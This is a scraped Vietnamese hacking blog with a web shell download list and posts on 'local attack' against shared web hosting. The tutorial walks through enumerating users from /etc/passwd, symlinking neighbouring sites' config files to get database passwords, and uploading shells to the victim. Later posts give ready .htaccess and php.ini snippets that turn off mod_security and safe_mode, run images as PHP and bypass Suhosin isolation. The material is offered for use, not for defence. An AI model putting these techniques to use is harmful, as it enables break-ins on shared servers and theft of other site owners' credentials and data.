<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQONgZuG2EfSzh8u3CCKL085E2g61FDsMVRxGwoJuzda0BFvJnvzaSdk-gXu_nscBpBOfSotg7uEAJ6-Jtm-XqfvZBDDIrFYs2_EPutN1N67pdb6KYhd8A3yI15PdJ5fUQloAb-digxZuM/s1600/priv8.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQONgZuG2EfSzh8u3CCKL085E2g61FDsMVRxGwoJuzda0BFvJnvzaSdk-gXu_nscBpBOfSotg7uEAJ6-Jtm-XqfvZBDDIrFYs2_EPutN1N67pdb6KYhd8A3yI15PdJ5fUQloAb-digxZuM/s1600/priv8.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /></a></div>
 I. saoluu.php Con này dùng để backup data 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZAJVtgKjOTz4hHPlm8TM1A3rmtprpKtjRGwxBq9HWP-bzWZgwWcAPfWrGlNFVigPNCsG3yhP-WehVKipwVvkW9jhhaHAF48y984weabXwSRryThqnP2NWl2ybPM9SVz-lbKthi05M5LR/s1600/saoluu.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZAJVtgKjOTz4hHPlm8TM1A3rmtprpKtjRGwxBq9HWP-bzWZgwWcAPfWrGlNFVigPNCsG3yhP-WehVKipwVvkW9jhhaHAF48y984weabXwSRryThqnP2NWl2ybPM9SVz-lbKthi05M5LR/s1600/saoluu.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /> </a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
K. zipcode.php</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
Tác dụng dùng để zip code</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimD_U19PyWbI7BWzDcfm8nYvTkrgkfuIvadKCJS-d2FGGe211CmGcj7g58bK-ZhHTtDtPOP8VrlfbhEwzI6qj58srxTmU3vUkyYLNOqU3zEr6HWCD2Zao2_3pZlwaV2QUNF9Ngy9mwd6pO/s1600/zipcode.png" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimD_U19PyWbI7BWzDcfm8nYvTkrgkfuIvadKCJS-d2FGGe211CmGcj7g58bK-ZhHTtDtPOP8VrlfbhEwzI6qj58srxTmU3vUkyYLNOqU3zEr6HWCD2Zao2_3pZlwaV2QUNF9Ngy9mwd6pO/s1600/zipcode.png" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /> </a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
L. Kshell.aspx</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
Con shell này dùng cho server windows</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
M. 1412.kid</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
Shell cgi<a href="https://www.blogger.com/" style="color: #999999; text-decoration: none;"></a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
=================================</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
Link down all shell</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
Pass unrar:  quylevhb</div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="http://adf.ly/vqDgz" rel="nofollow" style="color: #999999; text-decoration: none;" target="_blank">http://adf.ly/vqDgz</a></div>

Local attack part 2

Trong chap này mình sẽ giới thiệu khái quát tính năng một số con shell mình hay dùng khi local A. R57 1- Thôn...

Đọc thêm »

san

<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXUU7urV6pso_gRtz18B2RbtS7glxjKhyphenhyphenb9XobMRcehT5nxtTtZtgg9V24AlDdlxvl_pq8hy2mpMNFYjaZJAKjc3yIKcIVTx5L3FWCiY5EBUkv-t-HqJVTuaER4VTOR1Vd3kaDIUyaWJgc/s1600/local-attack.jpg" imageanchor="1" style="color: #999999; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXUU7urV6pso_gRtz18B2RbtS7glxjKhyphenhyphenb9XobMRcehT5nxtTtZtgg9V24AlDdlxvl_pq8hy2mpMNFYjaZJAKjc3yIKcIVTx5L3FWCiY5EBUkv-t-HqJVTuaER4VTOR1Vd3kaDIUyaWJgc/s1600/local-attack.jpg" style="-webkit-transition: all 0.4s ease-in-out; border-width: 0px; height: auto; max-width: 100%; transition: all 0.4s ease-in-out;" width="400" /> </a></div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
+ Local Attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong.</div>
+ Bằng cách tấn công vào một website có bảo mật kém chung server với website mục tiêu, sau đó sử dụng các công cụ và kỹ thuật khác nhau tấn công sang mục tiêu trong nội bộ . 1. CÁC BƯỚC<a href="http://quylevhb.blogspot.com/" style="color: #999999; text-decoration: none;" target="_blank"> LOCAL ATTACK</a> + Xác định các website chung sever với mục tiêu (Victim) + Kiểm tra toàn sever ,xác định site bảo mật kém và khai thác bằng các hình thức tấn công trực tiếp . + Up Shell lên website đã khai thác lỗi bảo mật + Kiểm tra điều kiện sever và quyền thực thi , sử dụng bypasss nếu bị hạn chế quyền + Tiến hành local sang mục tiêu 2. PHƯƠNG PHÁP LOCAL ATTACK + Xác định danh sách User trên toàn server để tìm user mục tiêu + Xác định path của mục tiêu + Xác định file config của mục tiêu + Local sang mục tiêu và lấy thông tin từ file config của mục tiêu + Crack + Brute hoặc change pass để login vào mụct iêu . + Up shell lên mục tiêu 3. Một số <a href="http://quylevhb.blogspot.com/" style="color: #999999; text-decoration: none;" target="_blank">shell</a> thường dùng trong local r57, c99, shell cgi, byg.... 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small;">
 </div>
- shell r57 chỉ run được lệnh khi safemod=off, và chức năng php eval của nó run được khi không bị dis fun :D - shell cgi có thể run lệnh ngay cả khi safemod=on - c99 dễ dùng nhưng ít chức năng - và còn nhiều loại khác nhưng chủ yếu vẫn là xào nấu lại từ c99 và r57  Phần này mình sẽ có một bài hướng dẫn riêng 4. Các câu lệnh cơ bản trong local attack a. Xác định danh sách user 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
cat /etc/passwd less /etc/passwd more /etc/passwd tail /etc/passwd xxd /etc/passwd rev /etc/passwd tac /etc/passwd</blockquote>
 * Lệnh kết hợp đặc biệt : 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
cat /etc/passwd |grep "/home" |cut -d: -f1</blockquote>
 - Với Directadmin ta có lệnh sau : 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
cat /etc/virtual/domainowners</blockquote>
 - Với cpanel ta có lệnh sau: 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
ls -la /etc/valiases/tendomainvictim.com</blockquote>
 - Còn rất nhiều cách để tìm user của victim như xem error log ... 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
tail -n 10000 /var/log/httpd/domains/domain.com.error.log cat /usr/local/apache/logs/error_log | grep "domain.com" >>"user.txt"</blockquote>
 * Đối với nginx 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
cat /var/log/nginx/error_log</blockquote>
Hoặc 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
cat /var/log/nginx/domain.com.error.log</blockquote>
 b. TÌM PATH MỤC TIÊU & FILE <a href="http://quylevhb.blogspot.com/" style="color: #999999; text-decoration: none;" target="_blank">CONFIG</a> 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
Cpanel : /home/user/public_html/ Direct Admin : /home/user/domains/tenmien.com/public_html/ Koloxo : /home/user/tenmien.com/public_html/ Plesk : /var/www/user/httdocs/</blockquote>
 * Kết hợp đặc biệt : Đôi khi trong 1 số trường hợp ta phải kết hợp với tấn công trực tiếp để lấy path mục tiêu một cách nhanh và tiện nhất . Với các mã nguồn mở có thể sử dụng các exploit và bug để xác định path của mục tiêu c. <a href="http://quylevhb.blogspot.com/" style="color: #999999; text-decoration: none;" target="_blank">LOCAL</a> – GET THÔNG TIN FILE CONFIG ls , dir : Liệt kê tên các file bên trong thư mục ls -al, ls -lia, dir -ao: Liệt kê tên và thuộc tính các file bên trong thư mục vi, cat, less, more, tail : View nôi dung bên trong các file ln : Lệnh symbolic link (Giống như thực hiện tạo shortcut trong windows) cd: Chuyển đổi thư mục chmod: Phân quyền cho các file hoặc thư mục (Cấu trúc lệnh : chmod 000 file/thumuc) mkdir: tạo thư mục tại vị trí hiện tại touch : Tạo file zip -9 –r file.zip /path/ : lệnh nén dạng zip với tùy chọn cao nhất và hỗ trợ repair unzip file.zip : lệnh giải nén định dạng zip tar –cvf file.tar.gz /path/ : lệnh nén dạng tar (Nhẹ và nhanh hơn dạng Zip) tar –xvf file.tar.gz : lệnh giải nén dạng tar * Symlink và view file config của mục tiêu : Sử dụng lệnh cat để view file config hoặc nếu không được sử dụng lệnh symlink Cú pháp lệnh : 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
Cat /path/config.php</blockquote>
 - symlink 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
Ln –s /path/config.php config.txt</blockquote>
 Dùng lệnh này thì nó sẽ tạo 1 file config.txt ngang hàng với con shell và có nội dụng của file config, ta chỉ việc đọc file config.txt để biết nội dung file config (Tuy nhiên hiện nay đa số server đề không thể đọc theo cách bình thường :D ) - Sử dụng chức năng conect database trong r57 , c99 hoặc các shell chức năng đểt hực hiện việc kết nối với cơ sở dữ liệu, thay thông tin bên trong đó . - Tùy trường hợp ta có thể sử dụng các chức năng hoặc công cụ khác nhau để thực hiện tấn công * Đường dẫn file config của một số mã nguồn (Nếu thèng ad nó chưa đổi :D ) 
<blockquote class="tr_bq" style="font-family: 'Georgia Serif'; font-size: small;">
Vbulletin: public_html/includes/config.php PHPBB: public_html/config.php Joomla: public_html/configuration.php WordPress: public_html/wp-config.php ibp: public_html/conf_global.php php-fusion: public_html/config.php Smf: public_html/Settings.php phpnuke: public_html/html/config.php Xoops: public_html/mainfile.php ZenCart: public_html/includes/configure.php setidio: public_html/datas/config.php Discuz: public_html/config/config_ucenter.php Bo-Blog: public_html/data/config.php Nukeviet: public_html/config.php</blockquote>
 5. Một số chú ý: - Đối với directadmin link vào phpmyadmin sẽ là: http://domain/phpmyadmin - Trường hợp ko có phpmyadmin ta có thể dùng chức năng connect database của con shell hoặc đơn giản hơn là up luôn 1 cái phpmyadmin lên victim rồi truy cập và như bình thường :)) . Trường hợp xấu hơn là 2 cách trên không được thì up tool backup data lên backup lại rồi tải về restore trên local để lấy pass mà crack :)) - Các câu lệnh sử dụng ở trên là lệnh linux và được gọi ra từ thư mục /bin trường hợp không dùng được lệnh thì là do server đã chặn hoặc làm gì đó rồi nên không run được lệnh => ta có thể tìm cách để thay thế cái thư mục bin đó (cái này gọi là phương pháp thay thế sẽ đươc giới thiệu ở các bài sau) Trên đây chỉ là khái quát một cách sơ lược nhất về local attack, còn khi vào thực tế thì nó thiên biến vạn hóa nên các bạn cần vận dụng cho hợp lý, chứ đừng quá máy móc theo tut. Bonus: Video local attack căn bản 
<div class="separator" style="clear: both; font-family: 'Georgia Serif'; font-size: small; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="266" mozallowfullscreen="mozallowfullscreen" src="https://www.youtube.com/embed/YpSpKjSv1kU?feature=player_embedded" webkitallowfullscreen="webkitallowfullscreen" width="320"></iframe></div>
<div style="font-family: 'Georgia Serif'; font-size: small; text-align: center;">
 </div>
 p/s: Loạt tut "Làm thế nào để trở thành một hacker" của mình dăng tại forum của VHB Group được khá nhiều bạn copy và lech về blog mà không ghi nguồn, thậm chí có bạn còn tự nhận đó là bài viết của mình :(    Hiện tại, mình sẽ chỉnh sửa và tổng hợp lại một lần nữa loạt tut này trên blog của mình kèm theo một cái tiêu đề mới. Hi vọng khi các bạn lech đi đâu vui lòng ghi rõ nguồn: Quỷ lệ - VHB Group

Local attack part 1

+ Local Attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. + Bằng cách tấn công vào một website có bảo mật...

Đọc thêm »

san

Để bypass safe mode các bạn có thể tạo file php.ini hoặc ini.php hoặc .htaccess ngang hàng con shell 
 
1. php.ini 
 
<blockquote class="tr_bq">
safe_mode = Off 
disable_functions = NONE 
safe_mode_gid = OFF 
open_basedir = OFF 
exec = On 
shell_exec = On</blockquote>
 
2. ini.php 
 
<blockquote class="tr_bq">
ini_restore("safe_mode"); 
ini_restore("open_basedir"); </blockquote>
 
3. .htaccess 
 
<blockquote class="tr_bq">
Options +FollowSymLinks 
DirectoryIndex ssssss.htm 
Options All Indexes 
<IfModule mod_security.c> 
SecFilterEngine Off 
SecFilterScanPOST Off 
SecFilterCheckURLEncoding Off 
SecFilterCheckCookieFormat Off 
SecFilterCheckUnicodeEncoding Off 
SecFilterNormalizeCookies Off 
</IfModule> 
SetEnv PHPRC /home/user/public_html/php.ini 
suPHP_ConfigPath /home/user/public_html/php.ini </blockquote>
 
 
p/s: Không phải trường hợp nào cũng bypass được

Bypass safe mode

Để bypass safe mode các bạn có thể tạo file php.ini hoặc ini.php hoặc .htaccess ngang hàng con shell 1. php.ini safe_mode = Off di...

Đọc thêm »

san

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1UrmX1pWtsZQ80ynwED41OP9qKnCoYJ5Ix5AZovPYNzod6WNhg1bIMhOF3vLiTSYRnCS3iShxm6PIzAvJNgCyx5e4eKRglQZ6nsKNFSxgDYhjr2qN37aC0LvVsLU50wWxrca8brlU6rX_/s1600/htaccess.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="121" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1UrmX1pWtsZQ80ynwED41OP9qKnCoYJ5Ix5AZovPYNzod6WNhg1bIMhOF3vLiTSYRnCS3iShxm6PIzAvJNgCyx5e4eKRglQZ6nsKNFSxgDYhjr2qN37aC0LvVsLU50wWxrca8brlU6rX_/s1600/htaccess.jpg" width="400" /></a></div>
 
1. Bypass mod security 
 
<blockquote class="tr_bq">
<IfModule mod_security.c> 
SecFilterEngine Off 
SecFilterScanPOST Off 
</IfModule></blockquote>
 
2. Bypass symlink 
 
<blockquote class="tr_bq">
Options All 
Options +FollowSymLinks +Indexes 
DirectoryIndex default.html 
AddType text/html php</blockquote>
 
hoặc 
<blockquote class="tr_bq">
 
OPTIONS  Indexes Includes ExecCGI FollowSymLinks 
AddHandler txt .php 
AddHandler cgi-script .cgi 
AddHandler cgi-script .pl 
OPTIONS  Indexes Includes ExecCGI FollowSymLinks 
Options Indexes FollowSymLinks 
AddType txt .php 
AddType text/html .shtml 
Options All 
Options All</blockquote>
 
3. Chạy jpg như php 
 
<blockquote class="tr_bq">
AddHandler application/x-httpd-php .jpg .php</blockquote>
 
4. Bypass safe mode 
 
<blockquote class="tr_bq">
Options +FollowSymLinks 
DirectoryIndex ssssss.htm 
Options All Indexes 
<IfModule mod_security.c> 
SecFilterEngine Off 
SecFilterScanPOST Off 
SecFilterCheckURLEncoding Off 
SecFilterCheckCookieFormat Off 
SecFilterCheckUnicodeEncoding Off 
SecFilterNormalizeCookies Off 
</IfModule> 
SetEnv PHPRC /home/user/public_html/php.ini 
suPHP_ConfigPath /home/user/public_html/php.ini</blockquote>
 
5. Bypass 400 
 
<blockquote class="tr_bq">
Options +Includes 
AddType text/html .shtml 
AddHandler server-parsed .shtml</blockquote>
 
6. Chạy ssi 
 
<blockquote class="tr_bq">
AddType text/html .shtml 
AddOutputFilter INCLUDES .shtml         </blockquote>

Tổng hợp một số htaccess bypass

1. Bypass mod security <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule> 2. Bypass syml...

Đọc thêm »

san

#Title:Bypass MOD_PHP Symlink From Sihosin Patch 
#Description:Symlink Server By Escaping MOD_PHP and Turning off the Cross-user Security to any another Path. 
#Data:30/10/2013 
#Auhor:Mauritania Attacker & Virusa Worm 
#Greetz:All AnonGhost Memberz 
 
/var/zpanel/hostdata/ ====> Path of Websites. 
/zadmin/public_html/webmail_mydomain_com ====> our Target. 
/var/zpanel/temp/ =====> Path where we can read our Bypass. 
 
#For PHP Version 5 
 
 
<IfModule mod_php5.c> 
php_admin_value open_basedir 
"/var/zpanel/hostdata/zadmin/public_html/webmail_mydomain_com:/var/zpanel/temp/" 
php_admin_value suhosin.executor.func.blacklist "passthru, show_source, shell_exec, system, pcntl_exec, popen, pclose, 
proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, posix_kill, 
posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, escapeshellcmd, escapeshellarg, exec" Options 
FollowSymLinks Indexes AllowOverride All Order Allow,Deny Allow from all 
</IfModule> 
 
#For PHP Version 4 
 
 
<IfModule mod_php4.c> 
php_admin_value open_basedir 
"/var/zpanel/hostdata/zadmin/public_html/webmail_mydomain_com:/var/zpanel/temp/" 
php_admin_value suhosin.executor.func.blacklist "passthru, show_source, shell_exec, system, pcntl_exec, popen, pclose, 
proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, posix_kill, 
posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, escapeshellcmd, escapeshellarg, exec" Options 
FollowSymLinks Indexes AllowOverride All Order Allow,Deny Allow from all 
</IfModule>

Bypass MOD_PHP Symlink

#Title:Bypass MOD_PHP Symlink From Sihosin Patch #Description:Symlink Server By Escaping MOD_PHP and Turning off the Cross-user Security to...

Đọc thêm »

san

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcl9hyphenhyphenCEioZlv3i-2xKtSAAIJaEPjYgYUw56zsBHi2COvwnsj_mEpGfl2pIG1_-sMHlwkCxmZQBc98mRHfkPoy8JZXO2r3pn5YiwDFrtH86b9B9Cp-UlktbS54qsLAWJONWWCvkcK7X9cG/s1600/symlinkroot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcl9hyphenhyphenCEioZlv3i-2xKtSAAIJaEPjYgYUw56zsBHi2COvwnsj_mEpGfl2pIG1_-sMHlwkCxmZQBc98mRHfkPoy8JZXO2r3pn5YiwDFrtH86b9B9Cp-UlktbS54qsLAWJONWWCvkcK7X9cG/s1600/symlinkroot.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<blockquote class="tr_bq" style="clear: both;">
Options allDirectoryIndex Sux.html 
AddType text/plain .php 
AddHandler server-parsed .php 
AddType text/plain .html 
AddHandler txt .html 
Require None Satisfy Any</blockquote>
<div class="separator" style="clear: both;">
 </div>
<div class="separator" style="clear: both;">
Hoặc</div>
<div class="separator" style="clear: both;">
 </div>
<blockquote class="tr_bq" style="clear: both;">
Options +FollowSymLinksDirectoryIndex cmd.html 
Options +Indexes 
RemoveHandler .hack 
AddType text/plain .hack 
Options Indexes FollowSymLinks 
DirectoryIndex cmd.html 
AddType txt .php 
AddHandler txt .php 
AddType txt .htm 
AddHandler txt .htm 
AddType txt .html 
AddHandler txt .html 
AddType txt .shtml 
AddHandler txt .shtml 
AddType txt .phtml AddHandler txt .phtml</blockquote>
<div>
 </div>

htaccess bypass symlink root

Options allDirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt ...

Đọc thêm »

Free share all

Path file config một số code

Một số lệnh thông dụng trong local attack

Local attack part 3

Local attack part 2

Local attack part 1

Bypass safe mode

Tổng hợp một số htaccess bypass

Bypass MOD_PHP Symlink

htaccess bypass symlink root

Bài đăng phổ biến

Bình luận

Lưu trữ Blog